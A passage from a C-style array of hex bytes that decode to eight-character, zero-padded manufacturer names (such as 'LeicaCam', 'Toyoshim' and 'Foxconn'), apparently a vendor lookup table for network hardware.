0x67, 0x6d, 0x61, 0x54,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x49, 0x6e, 0x6e,\r\n0x4c, 0x65, 0x69, 0x63, 0x61, 0x43, 0x61, 0x6d,\r\n0x41, 0x75, 0x67, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x45, 0x73, 0x74, 0x75, 0x6e, 0x41, 0x75, 0x74,\r\n0x54, 0x61, 0x73, 0x6b, 0x69, 0x74, 0x00, 0x00,\r\n0x54, 0x6f, 0x79, 0x6f, 0x73, 0x68, 0x69, 0x6d,\r\n0x41, 0x75, 0x73, 0x4c, 0x69, 0x6e, 0x78, 0x54,\r\n0x4a, 0x69, 0x67, 0x6f, 0x77, 0x61, 0x74, 0x74,\r\n0x45, 0x6e, 0x63, 0x65, 0x6c, 0x6c, 0x54, 0x65,\r\n0x53, 0x74, 0x61, 0x72, 0x72, 0x79, 0x00, 0x00,\r\n0x4f, 0x72, 0x65, 0x67, 0x61, 0x6e, 0x6f, 0x2d,\r\n0x50, 0x6c, 0x75, 0x67, 0x61, 0x62, 0x6c, 0x65,\r\n0x59, 0x2d, 0x43, 0x61, 0x6d, 0x53, 0x6f, 0x6c,\r\n0x41, 0x69, 0x72, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x49, 0x70, 0x69, 0x74, 0x6f, 0x6d, 0x79, 0x43,\r\n0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x50,\r\n0x52, 0x61, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x43,\r\n0x41, 0x63, 0x74, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x66, 0x65, 0x67, 0x61, 0x00, 0x00,\r\n0x43, 0x67, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x59, 0x6f, 0x6b, 0x6f, 0x74, 0x65, 0x53, 0x65,\r\n0x56, 0x69, 0x73, 0x73, 0x69, 0x6d, 0x41, 0x73,\r\n0x49, 0x6b, 0x6f, 0x72, 0x4d, 0x65, 0x74, 0x65,\r\n0x45, 0x73, 0x67, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x57, 0x69, 0x66, 0x6c, 0x79, 0x2d, 0x43, 0x69,\r\n0x49, 0x73, 0x73, 0x63, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x6d, 0x6c, 0x61, 0x62, 0x00, 0x00,\r\n0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x4d, 0x65,\r\n0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x4d,\r\n0x44, 0x6b, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x53, 0x6f, 0x6e, 0x61, 0x72, 0x64, 0x79, 0x6e,\r\n0x50, 0x72, 0x65, 0x63, 0x65, 0x70, 0x73, 0x63,\r\n0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x41, 0x75, 0x74,\r\n0x52, 0x75, 0x69, 0x78, 0x69, 0x6e, 0x67, 0x68,\r\n0x4d, 0x65, 0x73, 0x61, 0x64, 0x61, 0x54, 0x65,\r\n0x56, 0x73, 0x6f, 0x6f, 0x6e, 0x74, 0x65, 0x63,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x6e, 0x61, 0x6e, 0x4a,\r\n0x46, 0x61, 0x72, 0x2d, 0x53, 0x69, 0x67, 0x68,\r\n0x57, 0x69, 0x69, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x73, 0x67, 0x50, 0x6c, 0x61, 0x73, 0x74,\r\n0x53, 0x70, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x6c, 0x69, 0x6e, 0x6b, 0x65, 0x74, 0x45,\r\n0x44, 0x69, 0x67, 0x69, 0x6d, 0x6f, 0x72, 0x65,\r\n0x4d, 0x6f, 0x6e, 0x69, 0x63, 0x6f, 0x4d, 0x6f,\r\n0x48, 0x61, 0x67, 0x65, 0x6e, 0x75, 0x6b, 0x4d,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x6d, 0x65, 0x67, 0x61,\r\n0x41, 0x70, 0x65, 0x78, 0x54, 0x6f, 0x6f, 0x6c,\r\n0x53, 0x63, 0x73, 0x53, 0x61, 0x00, 0x00, 0x00,\r\n0x47, 0x72, 0x65, 0x61, 0x74, 0x43, 0x6f, 0x6d,\r\n0x43, 0x2d, 0x4d, 0x61, 0x78, 0x41, 0x73, 0x69,\r\n0x4c, 0x61, 0x62, 0x6a, 0x61, 0x63, 0x6b, 0x00,\r\n0x4f, 0x6e, 0x79, 0x78, 0x48, 0x65, 0x61, 0x6c,\r\n0x47, 0x61, 0x74, 0x65, 0x6b, 0x65, 0x65, 0x70,\r\n0x59, 0x75, 0x6e, 0x6e, 0x61, 0x6e, 0x4b, 0x73,\r\n0x47, 0x2d, 0x50, 0x72, 0x69, 0x6e, 0x74, 0x65,\r\n0x5a, 0x69, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x4d, 0x65,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x42, 0x6f, 0x65,\r\n0x54, 0x65, 0x64, 0x69, 0x70, 0x61, 0x79, 0x55,\r\n0x56, 0x61, 0x64, 0x61, 0x72, 0x6f, 0x50, 0x74,\r\n0x52, 0x6f, 0x72, 0x7a, 0x65, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x67, 0x6c, 0x75, 0x65, 0x00, 0x00,\r\n0x54, 0x65, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x4c, 0x65, 0x6e, 0x62, 0x72, 0x6f, 0x6f, 0x6b,\r\n0x41, 0x75, 0x74, 0x6f, 0x74, 0x61, 0x6c, 0x6b,\r\n0x4d, 0x6f, 0x64, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x46, 0x69, 0x64, 0x61, 0x49, 0x6e, 0x74, 0x65,\r\n0x41, 0x6c, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x49,\r\n0x44, 0x6c, 0x67, 0x41, 0x75, 0x74, 0x6f, 0x6d,\r\n0x47, 0x61, 0x72, 0x65, 0x61, 0x4d, 0x69, 0x63,\r\n0x47, 0x65, 0x62, 0x72, 0x42, 0x6f, 0x64, 0x65,\r\n0x57, 0x61, 0x6c, 0x6c, 0x79, 0x00, 0x00, 0x00,\r\n0x55, 0x74, 0x65, 0x6b, 0x54, 0x65, 0x63, 0x68,\r\n0x48, 0x64, 0x72, 0x31, 0x30, 0x2b, 0x54, 0x65,\r\n0x49, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x54, 0x65,\r\n0x54, 0x6f, 0x74, 0x61, 0x6c, 0x50, 0x68, 0x61,\r\n0x48, 0x4b, 0x5a, 0x6f, 0x6e, 0x67, 0x6d, 0x75,\r\n0x47, 0x7a, 0x57, 0x65, 0x65, 0x64, 0x6f, 0x6e,\r\n0x47, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x55, 0x6e, 0x6f, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x54, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x54, 0x65,\r\n0x52, 0x73, 0x69, 0x56, 0x69, 0x64, 0x65, 0x6f,\r\n0x44, 0x69, 0x65, 0x68, 0x6c, 0x42, 0x67, 0x74,\r\n0x49, 0x6d, 0x70, 0x65, 0x78, 0x2d, 0x53, 0x61,\r\n0x45, 0x6c, 0x76, 0x65, 0x65, 0x73, 0x4e, 0x65,\r\n0x4e, 0x65, 0x77, 0x6c, 0x61, 0x6e, 0x64, 0x44,\r\n0x41, 0x63, 0x63, 0x75, 0x74, 0x72, 0x6f, 0x6e,\r\n0x47, 0x68, 0x65, 0x6f, 0x53, 0x61, 0x00, 0x00,\r\n0x53, 0x69, 0x73, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x4e, 0x61, 0x76, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x4a, 0x73, 0x77, 0x50, 0x61, 0x63, 0x69, 0x66,\r\n0x50, 0x61, 0x6b, 0x65, 0x64, 0x67, 0x65, 0x44,\r\n0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x73, 0x69,\r\n0x4a, 0x6f, 0x79, 0x65, 0x6e, 0x74, 0x00, 0x00,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x4a,\r\n0x52, 0x65, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00,\r\n0x44, 0x6c, 0x6f, 0x67, 0x69, 0x78, 0x73, 0x00,\r\n0x50, 0x61, 0x6c, 0x6f, 0x6d, 0x61, 0x72, 0x4d,\r\n0x42, 0x6f, 0x6f, 0x6b, 0x65, 0x65, 0x6e, 0x00,\r\n0x57, 0x61, 0x76, 0x65, 0x6c, 0x61, 0x62, 0x47,\r\n0x48, 0x75, 0x67, 0x2d, 0x57, 0x69, 0x74, 0x73,\r\n0x41, 0x76, 0x61, 0x6e, 0x75, 0x00, 0x00, 0x00,\r\n0x46, 0x6f, 0x63, 0x75, 0x73, 0x48, 0x26, 0x53,\r\n0x45, 0x2d, 0x4c, 0x65, 0x61, 0x64, 0x45, 0x6c,\r\n0x53, 0x4d, 0x53, 0x53, 0x6d, 0x61, 0x72, 0x74,\r\n0x48, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x64, 0x65,\r\n0x49, 0x65, 0x65, 0x65, 0x31, 0x37, 0x32, 0x32,\r\n0x53, 0x70, 0x69, 0x4c, 0x61, 0x73, 0x65, 0x72,\r\n0x43, 0x4f, 0x42, 0x4f, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x64, 0x69, 0x75, 0x73, 0x47, 0x61,\r\n0x4b, 0x69, 0x72, 0x69, 0x73, 0x75, 0x6e, 0x43,\r\n0x52, 0x61, 0x6e, 0x64, 0x4d, 0x63, 0x6e, 0x61,\r\n0x50, 0x68, 0x69, 0x6c, 0x6c, 0x69, 0x70, 0x73,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x45, 0x74, 0x68,\r\n0x4a, 0x69, 0x6e, 0x79, 0x6f, 0x75, 0x6e, 0x67,\r\n0x41, 0x75, 0x74, 0x6f, 0x68, 0x6f, 0x74, 0x62,\r\n0x4c, 0x69, 0x6c, 0x69, 0x6e, 0x67, 0x46, 0x75,\r\n0x4e, 0x65, 0x74, 0x76, 0x69, 0x65, 0x77, 0x54,\r\n0x48, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x63,\r\n0x49, 0x74, 0x66, 0x46, 0x72, 0x73, 0x63, 0x00,\r\n0x50, 0x6f, 0x69, 0x6e, 0x74, 0x43, 0x6f, 0x72,\r\n0x45, 0x6c, 0x76, 0x61, 0x63, 0x6f, 0x00, 0x00,\r\n0x54, 0x6c, 0x61, 0x62, 0x57, 0x65, 0x73, 0x74,\r\n0x53, 0x74, 0x61, 0x6c, 0x6d, 0x61, 0x72, 0x74,\r\n0x44, 0x69, 0x76, 0x65, 0x72, 0x73, 0x65, 0x79,\r\n0x46, 0x69, 0x6e, 0x73, 0x63, 0x75, 0x72, 0x00,\r\n0x54, 0x61, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x42,\r\n0x41, 0x73, 0x61, 0x68, 0x69, 0x4e, 0x65, 0x74,\r\n0x41, 0x6e, 0x79, 0x77, 0x61, 0x76, 0x65, 0x43,\r\n0x4d, 0x69, 0x6e, 0x69, 0x2d, 0x43, 0x61, 0x6d,\r\n0x57, 0x69, 0x73, 0x69, 0x6c, 0x69, 0x63, 0x61,\r\n0x42, 0x69, 0x74, 0x77, 0x69, 0x73, 0x65, 0x43,\r\n0x52, 0x65, 0x63, 0x68, 0x6e, 0x65, 0x72, 0x62,\r\n0x53, 0x69, 0x6d, 0x6f, 0x6e, 0x73, 0x76, 0x6f,\r\n0x49, 0x73, 0x6d, 0x61, 0x72, 0x74, 0x41, 0x6c,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x45,\r\n0x52, 0x69, 0x67, 0x61, 0x64, 0x6f, 0x4c, 0x6c,\r\n0x45, 0x6b, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64,\r\n0x54, 0x72, 0x69, 0x6c, 0x6f, 0x62, 0x69, 0x74,\r\n0x57, 0x61, 0x74, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x61, 0x73, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x57, 0x6f, 0x6d, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x57, 0x69, 0x6e, 0x66, 0x69, 0x72, 0x6d, 0x54,\r\n0x51, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x71, 0x4e,\r\n0x55, 0x62, 0x69, 0x63, 0x71, 0x75, 0x69, 0x61,\r\n0x50, 0x6f, 0x6c, 0x65, 0x77, 0x61, 0x6c, 0x6c,\r\n0x41, 0x7a, 0x75, 0x72, 0x61, 0x79, 0x54, 0x65,\r\n0x45, 0x76, 0x61, 0x6e, 0x74, 0x61, 0x67, 0x65,\r\n0x53, 0x65, 0x6f, 0x75, 0x6c, 0x45, 0x6c, 0x65,\r\n0x53, 0x75, 0x72, 0x76, 0x65, 0x69, 0x6c, 0x6c,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x71, 0x75,\r\n0x53, 0x75, 0x72, 0x66, 0x69, 0x6c, 0x74, 0x65,\r\n0x45, 0x61, 0x67, 0x65, 0x74, 0x49, 0x6e, 0x6e,\r\n0x42, 0x65, 0x61, 0x6d, 0x65, 0x78, 0x4f, 0x79,\r\n0x4f, 0x65, 0x74, 0x69, 0x6b, 0x65, 0x72, 0x53,\r\n0x56, 0x65, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x54,\r\n0x56, 0x74, 0x63, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x4e, 0x65, 0x77,\r\n0x41, 0x6c, 0x74, 0x61, 0x44, 0x61, 0x74, 0x61,\r\n0x4f, 0x70, 0x74, 0x65, 0x6b, 0x44, 0x69, 0x67,\r\n0x42, 0x6f, 0x73, 0x74, 0x65, 0x78, 0x54, 0x65,\r\n0x42, 0x6f, 0x64, 0x79, 0x6d, 0x65, 0x64, 0x69,\r\n0x4a, 0x6f, 0x76, 0x69, 0x65, 0x77, 0x42, 0x65,\r\n0x4f, 0x6d, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x72, 0x69, 0x76, 0x75, 0x6d, 0x54, 0x65,\r\n0x42, 0x65, 0x6c, 0x64, 0x65, 0x6e, 0x48, 0x69,\r\n0x41, 0x70, 0x74, 0x6f, 0x73, 0x54, 0x65, 0x63,\r\n0x48, 0x75, 0x73, 0x71, 0x76, 0x61, 0x72, 0x6e,\r\n0x45, 0x66, 0x6c, 0x6f, 0x77, 0x2f, 0x53, 0x6d,\r\n0x53, 0x6f, 0x72, 0x74, 0x65, 0x72, 0x53, 0x70,\r\n0x54, 0x61, 0x6c, 0x6c, 0x61, 0x63, 0x4e, 0x65,\r\n0x53, 0x63, 0x61, 0x53, 0x63, 0x68, 0x75, 0x63,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x6c, 0x61, 0x79,\r\n0x4e, 0x6f, 0x76, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x52, 0x61, 0x79, 0x6c, 0x69, 0x6f, 0x73, 0x54,\r\n0x54, 0x65, 0x73, 0x65, 0x71, 0x00, 0x00, 0x00,\r\n0x43, 0x72, 0x65, 0x6f, 0x77, 0x61, 0x76, 0x65,\r\n0x43, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x79, 0x64, 0x6c, 0x65, 0x00, 0x00, 0x00,\r\n0x47, 0x70, 0x69, 0x4b, 0x6f, 0x72, 0x65, 0x61,\r\n0x45, 0x6e, 0x65, 0x6c, 0x70, 0x73, 0x00, 0x00,\r\n0x53, 0x69, 0x74, 0x63, 0x6f, 0x72, 0x70, 0x00,\r\n0x41, 0x2b, 0x56, 0x4c, 0x69, 0x6e, 0x6b, 0x54,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x6f, 0x70, 0x74,\r\n0x49, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x73, 0x74,\r\n0x44, 0x4f, 0x72, 0x74, 0x69, 0x7a, 0x43, 0x6f,\r\n0x42, 0x6f, 0x67, 0x65, 0x4b, 0x6f, 0x6d, 0x70,\r\n0x58, 0x69, 0x72, 0x6b, 0x61, 0x44, 0x61, 0x6d,\r\n0x46, 0x79, 0x6c, 0x64, 0x65, 0x4d, 0x69, 0x63,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x4d,\r\n0x45, 0x6c, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x61, 0x64, 0x69, 0x53, 0x63, 0x69, 0x65,\r\n0x47, 0x65, 0x6d, 0x69, 0x6e, 0x69, 0x63, 0x6f,\r\n0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x44,\r\n0x57, 0x68, 0x65, 0x72, 0x65, 0x77, 0x68, 0x65,\r\n0x54, 0x68, 0x65, 0x6f, 0x62, 0x72, 0x6f, 0x6d,\r\n0x41, 0x62, 0x62, 0x4e, 0x56, 0x50, 0x6f, 0x77,\r\n0x41, 0x76, 0x6f, 0x6e, 0x69, 0x63, 0x00, 0x00,\r\n0x49, 0x63, 0x49, 0x6e, 0x74, 0x72, 0x61, 0x63,\r\n0x4a, 0x65, 0x65, 0x6c, 0x61, 0x6e, 0x53, 0x68,\r\n0x44, 0x65, 0x66, 0x69, 0x6e, 0x69, 0x75, 0x6d,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x65, 0x64,\r\n0x4a, 0x61, 0x67, 0x75, 0x61, 0x72, 0x44, 0x65,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x67, 0x61, 0x74,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4b,\r\n0x44, 0x61, 0x69, 0x6b, 0x79, 0x75, 0x6e, 0x67,\r\n0x4b, 0x72, 0x61, 0x75, 0x73, 0x73, 0x4d, 0x61,\r\n0x53, 0x75, 0x62, 0x31, 0x30, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x65,\r\n0x50, 0x74, 0x4e, 0x61, 0x76, 0x69, 0x63, 0x6f,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x53, 0x73, 0x6a,\r\n0x53, 0x6f, 0x6c, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x65, 0x63,\r\n0x43, 0x68, 0x67, 0x48, 0x6f, 0x73, 0x70, 0x69,\r\n0x5a, 0x68, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f,\r\n0x4d, 0x61, 0x6e, 0x74, 0x69, 0x73, 0x44, 0x65,\r\n0x48, 0x6f, 0x6e, 0x48, 0x61, 0x69, 0x2d, 0x43,\r\n0x53, 0x79, 0x73, 0x67, 0x72, 0x61, 0x74, 0x69,\r\n0x4b, 0x6d, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,\r\n0x53, 0x62, 0x67, 0x53, 0x61, 0x73, 0x00, 0x00,\r\n0x50, 0x65, 0x6f, 0x70, 0x6c, 0x65, 0x6e, 0x65,\r\n0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x64,\r\n0x45, 0x6d, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x47,\r\n0x49, 0x6e, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x61, 0x67, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x64, 0x61, 0x66, 0x72, 0x75, 0x69, 0x74,\r\n0x50, 0x65, 0x70, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x45, 0x6d, 0x69, 0x7a, 0x6f, 0x6e, 0x4e, 0x65,\r\n0x44, 0x69, 0x73, 0x72, 0x75, 0x70, 0x74, 0x69,\r\n0x46, 0x6c, 0x79, 0x61, 0x75, 0x64, 0x69, 0x6f,\r\n0x57, 0x75, 0x78, 0x69, 0x48, 0x6f, 0x6e, 0x67,\r\n0x41, 0x6e, 0x61, 0x64, 0x65, 0x6d, 0x49, 0x6e,\r\n0x43, 0x6f, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x63,\r\n0x4e, 0x6f, 0x78, 0x75, 0x73, 0x42, 0x65, 0x69,\r\n0x54, 0x65, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x70, 0x6f, 0x77, 0x65,\r\n0x53, 0x6e, 0x61, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x63, 0x73, 0x74, 0x5a, 0x61, 0x6f, 0x00,\r\n0x57, 0x69, 0x6c, 0x6c, 0x49, 0x2d, 0x54, 0x65,\r\n0x42, 0x6c, 0x75, 0x65, 0x57, 0x61, 0x76, 0x65,\r\n0x53, 0x76, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x45, 0x64, 0x65, 0x6c, 0x74, 0x65, 0x63, 0x68,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x52, 0x65,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x61, 0x63,\r\n0x47, 0x61, 0x6c, 0x6f, 0x72, 0x65, 0x4e, 0x65,\r\n0x56, 0x69, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74,\r\n0x4d, 0x65, 0x6b, 0x72, 0x61, 0x4c, 0x61, 0x6e,\r\n0x43, 0x68, 0x79, 0x69, 0x4c, 0x65, 0x65, 0x49,\r\n0x56, 0x75, 0x7a, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x63, 0x75, 0x74, 0x6f, 0x6d, 0x65,\r\n0x5a, 0x65, 0x6e, 0x74, 0x61, 0x6e, 0x00, 0x00,\r\n0x46, 0x6f, 0x78, 0x63, 0x6f, 0x6e, 0x6e, 0x4e,\r\n0x41, 0x78, 0x69, 0x69, 0x6d, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x73, 0x65, 0x73, 0x79, 0x41, 0x70,\r\n0x4c, 0x79, 0x6e, 0x78, 0x73, 0x70, 0x72, 0x69,\r\n0x4d, 0x61, 0x72, 0x69, 0x6e, 0x69, 0x49, 0x6d,\r\n0x41, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x74, 0x65, 0x63, 0x53, 0x68, 0x61, 0x6e,\r\n0x49, 0x6e, 0x66, 0x6f, 0x63, 0x6f, 0x72, 0x65,\r\n0x43, 0x72, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00,\r\n0x53, 0x66, 0x66, 0x43, 0x6f, 0x6d, 0x6d, 0x69,\r\n0x54, 0x65, 0x63, 0x6d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x54, 0x79, 0x6d, 0x70, 0x68, 0x61, 0x6e, 0x79,\r\n0x43, 0x68, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x57,\r\n0x45, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6c, 0x65,\r\n0x41, 0x63, 0x63, 0x75, 0x70, 0x69, 0x78, 0x00,\r\n0x54, 0x61, 0x73, 0x63, 0x61, 0x6e, 0x00, 0x00,\r\n0x52, 0x77, 0x65, 0x45, 0x66, 0x66, 0x69, 0x7a,\r\n0x46, 0x6f, 0x73, 0x68, 0x61, 0x6e, 0x48, 0x75,\r\n0x4b, 0x75, 0x6c, 0x69, 0x74, 0x65, 0x53, 0x65,\r\n0x4e, 0x69, 0x70, 0x72, 0x6f, 0x44, 0x69, 0x61,\r\n0x45, 0x6e, 0x76, 0x79, 0x6c, 0x6f, 0x67, 0x69,\r\n0x48, 0x61, 0x6d, 0x65, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x77, 0x69, 0x66, 0x74, 0x74, 0x65, 0x73,\r\n0x44, 0x69, 0x6d, 0x65, 0x70, 0x53, 0x69, 0x73,\r\n0x4d, 0x65, 0x73, 0x61, 0x4c, 0x61, 0x62, 0x73,\r\n0x41, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6f, 0x78, 0x63, 0x61, 0x73, 0x74, 0x00,\r\n0x45, 0x6e, 0x67, 0x69, 0x63, 0x61, 0x6d, 0x53,\r\n0x5a, 0x68, 0x65, 0x6e, 0x67, 0x7a, 0x68, 0x6f,\r\n0x49, 0x53, 0x45, 0x53, 0x52, 0x4c, 0x00, 0x00,\r\n0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x58,\r\n0x4e, 0x6d, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x69, 0x72, 0x65, 0x6d, 0x61, 0x78, 0x49,\r\n0x56, 0x74, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x43, 0x61, 0x6c, 0x69, 0x62, 0x72, 0x65, 0x55,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x2d, 0x49, 0x64, 0x55,\r\n0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x43, 0x6f,\r\n0x44, 0x61, 0x73, 0x61, 0x6e, 0x4e, 0x65, 0x74,\r\n0x47, 0x6c, 0x6f, 0x64, 0x69, 0x6f, 0x54, 0x65,\r\n0x4f, 0x63, 0x74, 0x6f, 0x6e, 0x69, 0x6f, 0x6e,\r\n0x51, 0x65, 0x65, 0x73, 0x41, 0x70, 0x73, 0x00,\r\n0x57, 0x69, 0x6c, 0x64, 0x69, 0x78, 0x53, 0x72,\r\n0x4e, 0x61, 0x64, 0x61, 0x73, 0x6e, 0x76, 0x00,\r\n0x53, 0x75, 0x6e, 0x74, 0x65, 0x63, 0x53, 0x6f,\r\n0x4e, 0x65, 0x6f, 0x6c, 0x61, 0x62, 0x43, 0x6f,\r\n0x44, 0x65, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x63, 0x61, 0x62, 0x6c, 0x65,\r\n0x50, 0x72, 0x6f, 0x2d, 0x56, 0x69, 0x73, 0x69,\r\n0x53, 0x69, 0x6d, 0x61, 0x63, 0x54, 0x65, 0x63,\r\n0x57, 0x61, 0x72, 0x65, 0x68, 0x6f, 0x75, 0x73,\r\n0x49, 0x6e, 0x74, 0x65, 0x67, 0x50, 0x72, 0x6f,\r\n0x4c, 0x65, 0x6f, 0x6e, 0x74, 0x6f, 0x6e, 0x54,\r\n0x41, 0x6d, 0x63, 0x72, 0x65, 0x73, 0x74, 0x54,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x64, 0x6f, 0x6f,\r\n0x53, 0x74, 0x61, 0x72, 0x6b, 0x65, 0x79, 0x4c,\r\n0x52, 0x61, 0x64, 0x65, 0x6e, 0x00, 0x00, 0x00,\r\n0x53, 0x63, 0x6c, 0x65, 0x53, 0x66, 0x65, 0x00,\r\n0x4e, 0x69, 0x6b, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x6b, 0x75, 0x72, 0x61, 0x49, 0x6e,\r\n0x4f, 0x73, 0x6f, 0x72, 0x6e, 0x6f, 0x45, 0x6e,\r\n0x57, 0x68, 0x61, 0x6c, 0x65, 0x79, 0x54, 0x65,\r\n0x4f, 0x62, 0x69, 0x68, 0x61, 0x69, 0x54, 0x65,\r\n0x50, 0x72, 0x6f, 0x63, 0x65, 0x6e, 0x74, 0x65,\r\n0x52, 0x69, 0x76, 0x65, 0x74, 0x4e, 0x65, 0x74,\r\n0x43, 0x72, 0x65, 0x61, 0x74, 0x63, 0x6f, 0x6d,\r\n0x53, 0x6b, 0x79, 0x64, 0x69, 0x73, 0x6b, 0x00,\r\n0x42, 0x69, 0x6f, 0x73, 0x6f, 0x75, 0x6e, 0x64,\r\n0x50, 0x72, 0x69, 0x6e, 0x74, 0x63, 0x6f, 0x75,\r\n0x43, 0x6f, 0x6e, 0x64, 0x75, 0x63, 0x74, 0x69,\r\n0x42, 0x65, 0x63, 0x74, 0x6f, 0x6e, 0x44, 0x69,\r\n0x42, 0x61, 0x75, 0x6d, 0x65, 0x72, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x6c, 0x75, 0x78, 0x54,\r\n0x4c, 0x65, 0x73, 0x69, 0x72, 0x61, 0x4d, 0x61,\r\n0x4e, 0x63, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x4a, 0x75, 0x6e, 0x67, 0x65, 0x72, 0x41, 0x75,\r\n0x4a, 0x75, 0x6c, 0x6f, 0x6e, 0x67, 0x00, 0x00,\r\n0x57, 0x69, 0x6e, 0x64, 0x75, 0x73, 0x6b, 0x6f,\r\n0x42, 0x69, 0x7a, 0x6c, 0x69, 0x6e, 0x6b, 0x4b,\r\n0x50, 0x61, 